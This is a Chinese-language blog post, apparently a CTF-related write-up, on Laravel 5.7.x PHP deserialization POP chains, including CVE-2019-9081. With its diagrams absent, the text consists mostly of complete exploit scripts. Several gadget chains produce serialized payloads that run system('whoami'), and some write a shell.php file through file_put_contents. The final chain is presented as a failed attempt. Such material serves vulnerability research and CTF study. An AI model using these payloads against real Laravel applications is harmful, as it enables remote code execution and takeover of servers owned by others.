前言

也是这次的第五空间比赛中,出了一道关于Lavavel反序列化链的题目,引发了许多师傅对 Lavavel5.7.x 版本的反序列化链子的思考。

并且这么多链子跟下来,感觉有一个字直接灵魂。

这里防止文章过于冗长,便于师傅阅读和思考。所以这次直接用图片的方式分析一下POP链。

环境搭建

可以直接利用 composer 安装

html composer create-project laravel/laravel laravel57 "5.7.*"

然后利用 artisan 来启动 lavavel 。访问 localhost:8000 即可

php artisan serve --host 0.0.0.0

1.0 CVE-2019-9081

1.1准备工作

首先我们先构造一个反序列化的利用点吧。

编写路由

routes\web.php

1.2 漏洞复现

1.3 POP链分析

这里尽量简短的分析一下这个链子吧。

绕过createABufferedOutputMock之后就回到了mockConsoleOutput函数里面

出了bind也就来到了run方法

这样就进入了Container.php中的call方法。

最后的执行栈图如下

1.4 exp

<?php
namespace Faker\ORM\CakePHP;

class EntityPopulator
{
    public $expectedOutput;
    public $expectedQuestions;
    public function __construct()
    {
        $this->expectedOutput=['Mrkaixin'];
        $this->expectedQuestions=['Mrkaixin'];
    }


}

namespace Illuminate\Foundation;
class Application
{
    public $bindings;
    public function __construct()
    {
        $this->bindings=['Illuminate\Console\OutputStyle'=>'Mrkaixin','Illuminate\Contracts\Console\Kernel'=>['concrete'=>'Illuminate\Foundation\Application']];
    }

}

namespace Illuminate\Foundation\Testing;

use Faker\ORM\CakePHP\EntityPopulator;
use Illuminate\Foundation\Application;

class PendingCommand{
    public $parameters;
    public $test;
    public $app;
    public $command;
    public function __construct()
    {
        $this->command='system';
        $this->parameters=['whoami'];
        $this->test=new EntityPopulator();
        $this->app=new Application();
    }
}


//echo serialize(new PendingCommand());
echo urlencode(serialize(new PendingCommand()));

2.0 巧用Format

2.1 漏洞复现

2.2 POP链分析

如图所示

2.3 exp

<?php
namespace Faker;

class Generator
{
    public $formatters;
    public function __construct()
    {
        $this->formatters = ['addCollection'=>"system"];
    }
}

namespace Symfony\Component\Routing\Loader\Configurator;
use Faker\Generator;

class ImportConfigurator
{
    public $route;
    public $parent;
    public function __construct()
    {
//        $this->route =["whoami"];
        $this->route="whoami";
        $this->parent = new Generator();
    }
}

echo urlencode(serialize(new ImportConfigurator()));

3.0 一条非常巧的链子

3.1 漏洞复现

3.2 POP链分析

调用栈

3.3 exp

<?php

namespace Illuminate\Database\Eloquent;
class Builder
{
    public function __construct()
    {
        $name = "<?php phpinfo(); ?>";
        $this->localMacros = ['register' => 'Illuminate\Support\Arr::first'];
        $this->$name="shell.php";
    }
}

namespace Illuminate\Routing;

use Illuminate\Database\Eloquent\Builder;

class PendingResourceRegistration
{
    public $name;

    public function __construct()
    {
        $this->registrar = new Builder();
        $this->name = 'file_put_contents';
    }
}


echo urlencode(serialize(new PendingResourceRegistration()));

4.0 ”故技重施”

4.1 漏洞复现

4.2 POP链分析

这个链子是在第一条链子被封锁的情况下的第二个办法。利用call_user_func去触发src\Illuminate\Foundation\Testing\PendingCommand.php中的run方法。所以这部分只分析到如何触发run方法。

操作栈

4.3 exp

<?php
namespace Faker\ORM\CakePHP;

class EntityPopulator
{
    public $expectedOutput;
    public $expectedQuestions;
    public function __construct()
    {
        $this->expectedOutput=['Mrkaixin'];
        $this->expectedQuestions=['Mrkaixin'];
    }


}

namespace Illuminate\Foundation;
class Application
{
    public $bindings;
    public function __construct()
    {
        $this->bindings=['Illuminate\Console\OutputStyle'=>'Mrkaixin','Illuminate\Contracts\Console\Kernel'=>['concrete'=>'Illuminate\Foundation\Application']];
    }

}

namespace Illuminate\Foundation\Testing;

use Faker\ORM\CakePHP\EntityPopulator;
use Illuminate\Foundation\Application;

class PendingCommand{
    public $parameters;
    public $test;
    public $app;
    public $command;
    public function __construct()
    {
        $this->command='system';
        $this->parameters=['whoami'];
        $this->test=new EntityPopulator();
        $this->app=new Application();
    }
}


namespace Symfony\Component\Routing;
class RouteCollection
{
    public $routes;

    public function __construct()
    {
        $this->routes =['Mrkaixin is beautiful'];
        $this->resources=['Mrkaixin is handsome'];
    }
}

namespace Faker;
use Illuminate\Foundation\Testing\PendingCommand;
use Symfony\Component\Routing\RouteCollection;

class ValidGenerator
{
    public $generator;

    public function __construct()
    {
        $this->generator =new RouteCollection();
        $this->validator=[new PendingCommand(),'run'];
    }
}

namespace Symfony\Component\Routing\Loader\Configurator;

use Faker\ValidGenerator;

class ImportConfigurator
{
    public $parent;
    public $route;

    public function __construct()
    {
        $this->parent = new ValidGenerator();
        $this->route = ['Mrkaixin'];
    }
}

echo urlencode(serialize(new ImportConfigurator()));

5.0 巧妙的"故技重施" X2

5.1 漏洞复现

5.2 POP链分析

这里也是和链子4一样,寻找可以利用的call_user_func去触发src\Illuminate\Foundation\Testing\PendingCommand.php中的run方法。

如图所示

调用栈图如下

5.3 exp

<?php

namespace Faker\ORM\CakePHP;

class EntityPopulator
{
    public $expectedOutput;
    public $expectedQuestions;

    public function __construct()
    {
        $this->expectedOutput = ['Mrkaixin'];
        $this->expectedQuestions = ['Mrkaixin'];
    }


}

namespace Illuminate\Foundation;
class Application
{
    public $bindings;

    public function __construct()
    {
        $this->bindings = ['Illuminate\Console\OutputStyle' => 'Mrkaixin', 'Illuminate\Contracts\Console\Kernel' => ['concrete' => 'Illuminate\Foundation\Application']];
    }

}

namespace Illuminate\Foundation\Testing;

use Faker\ORM\CakePHP\EntityPopulator;
use Illuminate\Foundation\Application;

class PendingCommand
{
    public $parameters;
    public $test;
    public $app;
    public $command;

    public function __construct()
    {
        $this->command = 'system';
        $this->parameters = ['whoami'];
        $this->test = new EntityPopulator();
        $this->app = new Application();
    }
}


namespace Illuminate\Validation\Rules;

use Illuminate\Foundation\Testing\PendingCommand;

class RequiredIf
{
    public function __construct()
    {
        $this->condition = [new PendingCommand(), 'run'];
    }
}


namespace Symfony\Component\Routing;


class RouteCollection
{
    public function __construct()
    {
        $this->routes = [];
    }
}


namespace Symfony\Component\HttpFoundation;
use Illuminate\Validation\Rules\RequiredIf;

class Cookie{
    public function __construct()
    {
        $this->path=new RequiredIf();
    }
}

namespace Symfony\Component\Routing\Loader\Configurator;

use Symfony\Component\HttpFoundation\Cookie;
use Symfony\Component\Routing\RouteCollection;

class CollectionConfigurator
{
    public $collection;
    public function __construct()
    {
        $this->collection = new RouteCollection();
        $this->route = new Cookie();
    }

}


//echo (serialize(new CollectionConfigurator()));
echo urlencode(serialize(new CollectionConfigurator()));

6.0 一条没搞懂的POP链(失败)

6.1 疑惑点

首先还是和链二一样从src\Illuminate\Routing\PendingResourceRegistration.phpregister函数进去,

然后这里也是想到了利用call_user_func来rce

然后触发Logger__call函数。

一开始以为这个地方是可控的,按理说都应该触发的是call_user_func(xxxx)但是这里触发的是某个类的register函数。导致产生错误。

所以这个地方有点没搞懂。也希望师傅们能给点思路 orz。

6.2 报错exp

<?php

namespace Illuminate\Log;


class Logger
{

    public $logger;
    public $register;

    public function __construct()
    {
        $this->logger = $this;
        $this->register='call_user_func';
    }
}

namespace Illuminate\Routing;

use Illuminate\Log\Logger;

class PendingResourceRegistration
{
    public $name;
    public $controller;
    public $options;

    public function __construct()
    {
        $this->registrar = new Logger();
        $this->name = 'file_put_contents';
        $this->controller = 'shell.php';
        $this->options = '<?php phpinfo(); ?>';
    }
}


//echo serialize(new PendingCommand());
echo urlencode(serialize(new PendingResourceRegistration()));

参考资料

laravelv5-7反序列化rce

第五空间-WriteUp

点击收藏 | 1 关注 | 1
登录 后跟帖